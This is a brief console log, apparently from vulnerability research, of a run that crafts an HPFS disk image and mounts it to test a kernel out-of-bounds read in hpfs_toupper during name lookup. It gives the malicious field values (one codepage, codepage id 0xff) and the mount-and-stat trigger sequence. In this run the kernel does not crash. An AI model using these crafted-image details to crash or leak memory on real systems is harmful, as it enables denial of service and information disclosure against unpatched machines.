[craft] wrote crafted.img  (262144 bytes)
[craft] sp_cpinum=1  -> kmalloc(1*136) = 136-byte hpm_cpdblk
[craft] dirent.de_cpid=0xff -> hpm_cpdblk[255] = +34680 bytes from base
[craft]   OOB read at +34813 bytes (past the 136-byte alloc) on lookup
[craft] trigger: mount image, then 'stat /mnt/x' (any name) -> VOP_LOOKUP
[craft]   -> hpfs_genlookupbyname -> hpfs_cmpfname -> hpfs_toupper OOB
[run] attached crafted.img -> /dev/vn4
[run] mount returned rc=0
[run] triggering VOP_LOOKUP via stat /mnt/df0864/x ...
      (on the unpatched kernel: panic in hpfs_toupper/hpfs_cmpfname,
       or silent OOB read if the faulting address is mapped)
stat: /mnt/df0864/x: stat: No such file or directory
RUN_RC=0